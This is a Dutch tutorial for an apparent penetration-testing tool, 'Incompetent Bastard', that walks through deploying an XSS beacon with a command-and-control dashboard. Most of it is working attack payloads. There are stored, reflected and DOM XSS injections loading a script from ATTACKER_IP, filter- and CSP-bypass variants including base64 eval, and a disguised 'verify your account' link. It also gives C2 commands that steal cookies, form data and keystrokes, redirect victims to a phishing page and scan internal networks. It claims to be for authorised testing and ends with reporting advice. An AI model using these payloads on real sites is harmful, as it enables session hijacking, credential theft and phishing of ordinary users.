XSS Beacon Opzetten met Incompetent Bastard

Cross-Site Scripting (XSS) is een kwetsbaarheid waarbij een aanvaller kwaadaardige scripts injecteert in webpagina’s die door andere gebruikers worden bekeken. Incompetent Bastard (IB) biedt een ingebouwde XSS-beacon die automatisch cookies, toetsaanslagen, localStorage en browser-informatie verzamelt van gehoekte clients. Bovendien kun je via het Command & Control (C2) systeem opdrachten naar gehoekte browsers sturen. In deze tutorial zetten we stap voor stap een XSS-beacon op en leren we het volledige dashboard te gebruiken.

Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.

Vereisten

IB – Controleer of je IB-instance correct geconfigureerd is. Het IP-adres in de instellingen (/api/settings) moet overeenkomen met het adres dat de doelbrowsers kunnen bereiken.

Stap 1: Hoe de XSS Beacon Werkt

De IB beacon is een JavaScript-bestand dat geserveerd wordt via /x.js (of /xxs.js). Wanneer een browser dit script laadt, gebeurt het volgende:

  1. Cookie-diefstal – Stuurt document.cookie naar /xxs/cookies
  2. localStorage-extractie – Stuurt de volledige localStorage naar /xxs/localstorage
  3. Keylogger – Registreert alle toetsaanslagen en klikken, stuurt deze naar /xxs/keylogger
  4. Credential harvesting – Plaatst onzichtbare invoervelden om door de browser opgeslagen wachtwoorden te vangen
  5. C2 polling – Elke 5 seconden pollt de beacon /xxs/commands voor nieuwe opdrachten

Het dashboard op /dashboard/xxs toont alle verzamelde data per client.

Stap 2: Stored XSS – Beacon Injecteren

Bij stored XSS wordt je payload opgeslagen in de doelapplicatie en uitgevoerd bij elke gebruiker die de pagina bezoekt.

Basis script-tag injectie

De eenvoudigste manier om de beacon te laden:

<script src="http://ATTACKER_IP:5000/x.js"></script>

Plaats dit in een invoerveld dat niet gesaniteerd wordt, zoals: - Commentaarvelden of gastenboeken - Forumberichten of profielomschrijvingen - Beoordelingen of reviews

Voorbeeld: Commentaarveld

Stel dat een blogapplicatie commentaren opslaat zonder sanitatie:

Leuk artikel!<script src="http://10.10.14.5:5000/x.js"></script>

Elke bezoeker van de pagina laadt nu de beacon.

Alternatieve injectiemethoden

Als <script> tags gefilterd worden, probeer dan alternatieve vectoren:

<!-- Via event handler -->
<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">

<!-- Via SVG -->
<svg onload="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">

<!-- Via iframe -->
<iframe src="javascript:var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);" style="display:none">

Stap 3: Reflected XSS – Beacon via URL

Bij reflected XSS wordt de payload meegegeven in de URL en direct weergegeven.

Kwetsbaarheid vinden

Zoek naar parameters die teruggekaatst worden in de HTML:

http://doelwit.lab/zoeken?q=testwaarde

Als testwaarde ongeescaped in de HTML verschijnt, is het kwetsbaar.

Beacon via URL-parameter

http://doelwit.lab/zoeken?q=<script src="http://ATTACKER_IP:5000/x.js"></script>

URL-encoded versie (voor gebruik in links):

http://doelwit.lab/zoeken?q=%3Cscript%20src%3D%22http%3A%2F%2FATTACKER_IP%3A5000%2Fx.js%22%3E%3C%2Fscript%3E

Wrap de URL in een link die er onschuldig uitziet:

<a href="http://doelwit.lab/zoeken?q=%3Cscript+src%3D%22http%3A%2F%2F10.10.14.5%3A5000%2Fx.js%22%3E%3C%2Fscript%3E">
  Klik hier om je account te verifieren
</a>

Stap 4: Het XSS Dashboard Gebruiken

Navigeer naar http://127.0.0.1:5000/dashboard/xxs om alle gehoekte clients en verzamelde data te bekijken.

Hooked Clients

Het bovenste paneel toont actief gehoekte browsers. Een client wordt als actief beschouwd als deze in de afgelopen 5 minuten een heartbeat heeft gestuurd via de C2 polling.

Per client zie je: - IP-adres van de gehoekte browser - User-Agent string (browser en OS informatie) - Laatste heartbeat tijdstip

IB – De API endpoint /api/xxs/hooked geeft een JSON-overzicht van alle actieve clients. Gebruik dit voor scripting: curl http://127.0.0.1:5000/api/xxs/hooked

Gestolen Cookies

Het cookies-paneel toont alle onderschepte cookies per client:

Je kunt cookies downloaden in Netscape cookie-formaat via de downloadknop. Dit bestand kun je direct importeren in tools als curl:

# Gebruik gestolen cookies
curl -b cookies_10.10.10.5.txt http://doelwit.lab/admin

Keylogger Data

Alle toetsaanslagen en klikgebeurtenissen worden geregistreerd:

Download de keylog als tekstbestand voor analyse.

LocalStorage Data

De volledige inhoud van window.localStorage wordt geexfiltreerd. Dit kan bevatten: - JWT tokens of sessietokens - Gebruikersvoorkeuren en gecachte data - API-sleutels die clientside zijn opgeslagen

Stap 5: C2 Commando’s naar Gehoekte Browsers

Het C2-systeem stelt je in staat om JavaScript-opdrachten uit te voeren in gehoekte browsers.

Opdracht aanmaken via API

# Opdracht voor alle gehoekte clients
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
  -H "Content-Type: application/json" \
  -d '{"host":"*","opdracht":"return document.title;"}'

# Opdracht voor specifiek IP
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
  -H "Content-Type: application/json" \
  -d '{"host":"10.10.10.5","opdracht":"return document.cookie;"}'

Handige C2 opdrachten

// Huidige URL ophalen
return window.location.href;

// Screenshot-achtige info verzamelen
return document.documentElement.outerHTML.substring(0, 5000);

// Formuliergegevens ophalen
var forms = document.forms;
var data = [];
for (var i = 0; i < forms.length; i++) {
  var inputs = forms[i].elements;
  for (var j = 0; j < inputs.length; j++) {
    data.push(inputs[j].name + '=' + inputs[j].value);
  }
}
return data.join('&');

// Redirect naar phishing-pagina
window.location = 'http://ATTACKER_IP:5000/phishing';
return 'redirected';

// Interne netwerk-scan via img tags
var results = [];
for (var i = 1; i < 255; i++) {
  var img = new Image();
  img.src = 'http://192.168.1.' + i + ':80/favicon.ico';
}
return 'scanning';

Opdracht-status controleren

# Alle opdrachten en hun status ophalen
curl http://127.0.0.1:5000/api/xxs/commands

# Afgeronde opdrachten opschonen
curl -X POST http://127.0.0.1:5000/api/xxs/commands/clear

Elke opdracht doorloopt drie statussen: 1. queued – Wacht op ophalen door de beacon 2. delivered – Afgeleverd bij de client 3. completed – Resultaat ontvangen

Stap 6: Geavanceerde XSS Technieken

DOM-based XSS

Bij DOM-based XSS wordt de kwetsbaarheid volledig clientside verwerkt:

http://doelwit.lab/pagina#<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">

Zoek naar JavaScript-code die location.hash, document.URL of document.referrer onveilig verwerkt.

Filter-bypass technieken

<!-- Case variaties -->
<ScRiPt SrC="http://ATTACKER_IP:5000/x.js"></ScRiPt>

<!-- Zonder aanhalingstekens -->
<script src=http://ATTACKER_IP:5000/x.js></script>

<!-- Dubbele encoding -->
%253Cscript%2520src%253D%2522http%253A%252F%252FATTACKER_IP%253A5000%252Fx.js%2522%253E%253C%252Fscript%253E

<!-- Via JavaScript protocol -->
<a href="javascript:eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9BVFRBQ0tFUl9JUDo1MDAwL3guanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocyk7'))">klik</a>

Content Security Policy omzeilen

Als de doelsite een CSP heeft die externe scripts blokkeert:

<!-- Gebruik bestaand whitelisted domein als proxy -->
<script src="https://whitelisted-cdn.com/callback?url=http://ATTACKER_IP:5000/x.js"></script>

<!-- JSONP endpoints als gadget -->
<script src="https://doelwit.lab/api/jsonp?callback=eval(atob('...'))//"></script>

Stap 7: Bewijsvoering en Rapportage

Documenteer je XSS-bevinding grondig:

  1. Screenshot van de geinjecteerde payload in de broncode
  2. Screenshot van het IB dashboard met verzamelde cookies/keystrokes
  3. Reproductiestappen met exacte URL en payload
  4. Impact – beschrijf wat een aanvaller kan bereiken (sessiekaping, credential diefstal)

IB – Gebruik de Findings module (/dashboard/findings) om je XSS-bevinding direct met CVSS-score en OWASP-categorie vast te leggen.

Voorbeeld rapportagetekst

Kwetsbaarheid: Stored Cross-Site Scripting in commentaarveld
Locatie: http://doelwit.lab/blog/artikel/42
Parameter: comment_body
Payload: <script src="http://ATTACKER_IP:5000/x.js"></script>
Impact: Sessiekaping, credential diefstal, keylogging van alle bezoekers
CVSS 3.1: 8.1 (High)

Samenvatting

In deze tutorial heb je geleerd hoe je de Incompetent Bastard XSS beacon opzet en gebruikt:

  1. Beacon injectie – Laad /x.js via stored of reflected XSS in de doelapplicatie.
  2. Data verzamelen – Cookies, toetsaanslagen, localStorage en credentials worden automatisch naar het IB dashboard gestuurd.
  3. C2 opdrachten – Stuur JavaScript-commando’s naar gehoekte browsers via de API.
  4. Dashboard monitoring – Bekijk alle actieve clients en verzamelde data in realtime.
  5. Geavanceerde technieken – Omzeil filters en CSP met alternatieve injectiemethoden.

Het IB XSS-framework geeft je een compleet overzicht van de impact van een XSS-kwetsbaarheid, wat essentieel is voor een overtuigende rapportage aan de opdrachtgever.